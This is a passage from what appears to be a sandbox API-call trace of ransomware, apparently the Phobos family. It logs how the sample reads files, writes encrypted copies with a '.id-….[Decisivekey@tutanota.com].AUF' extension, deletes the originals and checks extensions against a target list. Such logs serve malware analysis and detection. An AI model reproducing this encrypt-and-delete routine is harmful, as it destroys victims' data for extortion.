lpString2="m-ms") returned -1 [0215.469] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0215.469] lstrlenW (lpString="setup.exe") returned 9 [0215.469] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.470] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=1377656) returned 1 [0215.470] CloseHandle (hObject=0x208) returned 1 [0215.470] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0215.470] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0215.470] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0215.470] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.470] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.470] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0215.470] GetLastError () returned 0x0 [0215.470] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0215.826] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0215.840] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x50588, lpOverlapped=0x0) returned 1 [0215.959] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x50590, lpOverlapped=0x0) returned 1 [0215.968] ReadFile (in: hFile=0x208, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0215.968] WriteFile (in: hFile=0x218, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0215.968] SetEndOfFile (hFile=0x218) returned 1 [0215.968] CloseHandle (hObject=0x218) returned 1 [0215.968] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0215.969] SetEndOfFile (hFile=0x208) returned 1 [0215.971] CloseHandle (hObject=0x208) returned 1 [0215.971] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.971] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0215.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.971] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.971] lstrlenW (lpString=".doc") returned 4 [0215.971] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0215.971] lstrlenW (lpString=".docx") returned 5 [0215.971] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0215.972] lstrlenW (lpString=".pdf") returned 4 [0215.972] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString=".xls") returned 4 [0215.972] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString=".xlsx") returned 5 [0215.972] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0215.972] lstrlenW (lpString=".ppt") returned 4 [0215.972] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.972] lstrlenW (lpString=".zip") returned 4 [0215.972] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString=".rar") returned 4 [0215.972] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString=".bz2") returned 4 [0215.972] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0215.972] lstrlenW (lpString=".7z") returned 3 [0215.972] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0215.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.972] lstrlenW (lpString=".dbf") returned 4 [0215.972] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0215.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.972] lstrlenW (lpString=".1cd") returned 4 [0215.972] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0215.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.972] lstrlenW (lpString=".jpg") returned 4 [0215.972] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.972] lstrlenW (lpString=".doc") returned 4 [0215.972] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0215.972] lstrlenW (lpString=".docx") returned 5 [0215.972] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0215.972] lstrlenW (lpString=".pdf") returned 4 [0215.972] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString=".xls") returned 4 [0215.972] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString=".xlsx") returned 5 [0215.972] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0215.972] lstrlenW (lpString=".ppt") returned 4 [0215.972] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.972] lstrlenW (lpString=".zip") returned 4 [0215.972] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString=".rar") returned 4 [0215.972] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0215.972] lstrlenW (lpString=".bz2") returned 4 [0215.972] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0215.972] lstrlenW (lpString=".7z") returned 3 [0215.972] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0215.972] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.972] lstrlenW (lpString=".dbf") returned 4 [0215.973] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0215.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.973] lstrlenW (lpString=".1cd") returned 4 [0215.973] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0215.973] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.973] lstrlenW (lpString=".jpg") returned 4 [0215.973] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0215.973] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0215.973] lstrlenW (lpString="DWTRIG20.EXE") returned 12 [0215.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0217.483] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=629664) returned 1 [0217.483] CloseHandle (hObject=0x1fc) returned 1 [0217.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 0x20 [0217.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0217.483] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.483] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.484] GetLastError () returned 0x0 [0217.484] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x99ba0, lpOverlapped=0x0) returned 1 [0217.678] WriteFile (in: hFile=0x20c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x99bb0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x99bb0, lpOverlapped=0x0) returned 1 [0217.686] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.686] WriteFile (in: hFile=0x20c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.686] SetEndOfFile (hFile=0x20c) returned 1 [0217.686] CloseHandle (hObject=0x20c) returned 1 [0217.686] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.686] SetEndOfFile (hFile=0x1fc) returned 1 [0217.690] CloseHandle (hObject=0x1fc) returned 1 [0217.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.691] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe")) returned 1 [0217.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.691] lstrlenW (lpString=".doc") returned 4 [0217.691] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0217.691] lstrlenW (lpString=".docx") returned 5 [0217.691] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0217.691] lstrlenW (lpString=".pdf") returned 4 [0217.691] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0217.691] lstrlenW (lpString=".xls") returned 4 [0217.691] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0217.691] lstrlenW (lpString=".xlsx") returned 5 [0217.691] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0217.691] lstrlenW (lpString=".ppt") returned 4 [0217.691] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0217.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.691] lstrlenW (lpString=".zip") returned 4 [0217.691] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0217.691] lstrlenW (lpString=".rar") returned 4 [0217.691] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0217.691] lstrlenW (lpString=".bz2") returned 4 [0217.691] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0217.691] lstrlenW (lpString=".7z") returned 3 [0217.691] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0217.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.691] lstrlenW (lpString=".dbf") returned 4 [0217.691] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0217.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.692] lstrlenW (lpString=".1cd") returned 4 [0217.692] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0217.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.692] lstrlenW (lpString=".jpg") returned 4 [0217.692] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0217.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.692] lstrlenW (lpString=".doc") returned 4 [0217.692] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0217.692] lstrlenW (lpString=".docx") returned 5 [0217.692] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0217.692] lstrlenW (lpString=".pdf") returned 4 [0217.692] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0217.692] lstrlenW (lpString=".xls") returned 4 [0217.692] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0217.692] lstrlenW (lpString=".xlsx") returned 5 [0217.692] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0217.692] lstrlenW (lpString=".ppt") returned 4 [0217.692] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0217.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.692] lstrlenW (lpString=".zip") returned 4 [0217.692] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0217.692] lstrlenW (lpString=".rar") returned 4 [0217.692] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0217.692] lstrlenW (lpString=".bz2") returned 4 [0217.692] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0217.692] lstrlenW (lpString=".7z") returned 3 [0217.692] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0217.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.692] lstrlenW (lpString=".dbf") returned 4 [0217.692] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0217.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.692] lstrlenW (lpString=".1cd") returned 4 [0217.692] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0217.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned 62 [0217.692] lstrlenW (lpString=".jpg") returned 4 [0217.692] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0217.692] lstrcmpiW (lpString1=".CFG", lpString2=".AUF") returned 1 [0217.693] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0217.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0217.693] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x30dff1c | out: lpFileSize=0x30dff1c*=6811) returned 1 [0217.693] CloseHandle (hObject=0x1fc) returned 1 [0217.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0217.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0217.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.693] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.694] GetLastError () returned 0x0 [0217.694] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x1a9b, lpOverlapped=0x0) returned 1 [0217.757] WriteFile (in: hFile=0x20c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0x1aa0, lpOverlapped=0x0) returned 1 [0217.758] ReadFile (in: hFile=0x1fc, lpBuffer=0x3c30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesRead=0x30dfed4*=0x0, lpOverlapped=0x0) returned 1 [0217.758] WriteFile (in: hFile=0x20c, lpBuffer=0x3c30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c30020*, lpNumberOfBytesWritten=0x30dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.758] SetEndOfFile (hFile=0x20c) returned 1 [0217.758] CloseHandle (hObject=0x20c) returned 1 [0217.759] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfec8 | out: lpNewFilePointer=0x0) returned 1 [0217.759] SetEndOfFile (hFile=0x1fc) returned 1 [0217.759] CloseHandle (hObject=0x1fc) returned 1 [0217.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.759] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0217.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.767] lstrlenW (lpString=".doc") returned 4 [0217.767] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0217.767] lstrlenW (lpString=".docx") returned 5 [0217.767] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0217.767] lstrlenW (lpString=".pdf") returned 4 [0217.767] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0217.767] lstrlenW (lpString=".xls") returned 4 [0217.767] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0217.767] lstrlenW (lpString=".xlsx") returned 5 [0217.767] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0217.767] lstrlenW (lpString=".ppt") returned 4 [0217.767] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0217.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.767] lstrlenW (lpString=".zip") returned 4 [0217.767] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0217.767] lstrlenW (lpString=".rar") returned 4 [0217.767] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0217.767] lstrlenW (lpString=".bz2") returned 4 [0217.767] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0217.767] lstrlenW (lpString=".7z") returned 3 [0217.767] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0217.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.768] lstrlenW (lpString=".dbf") returned 4 [0217.768] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0217.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.768] lstrlenW (lpString=".1cd") returned 4 [0217.768] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0217.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.768] lstrlenW (lpString=".jpg") returned 4 [0217.768] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0217.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.768] lstrlenW (lpString=".doc") returned 4 [0217.768] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0217.768] lstrlenW (lpString=".docx") returned 5 [0217.768] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0217.768] lstrlenW (lpString=".pdf") returned 4 [0217.768] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0217.768] lstrlenW (lpString=".xls") returned 4 [0217.768] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0217.768] lstrlenW (lpString=".xlsx") returned 5 [0217.768] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0217.768] lstrlenW (lpString=".ppt") returned 4 [0217.768] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0217.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.768] lstrlenW (lpString=".zip") returned 4 [0217.768] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0217.768] lstrlenW (lpString=".rar") returned 4 [0217.768] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0217.768] lstrlenW (lpString=".bz2") returned 4 [0217.768] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0217.768] lstrlenW (lpString=".7z") returned 3 [0217.768] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0217.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.768] lstrlenW (lpString=".dbf") returned 4 [0217.768] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0217.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0217.768] lstrlenW (lpString=".1cd") returned 4 [0217.768] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0217.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") 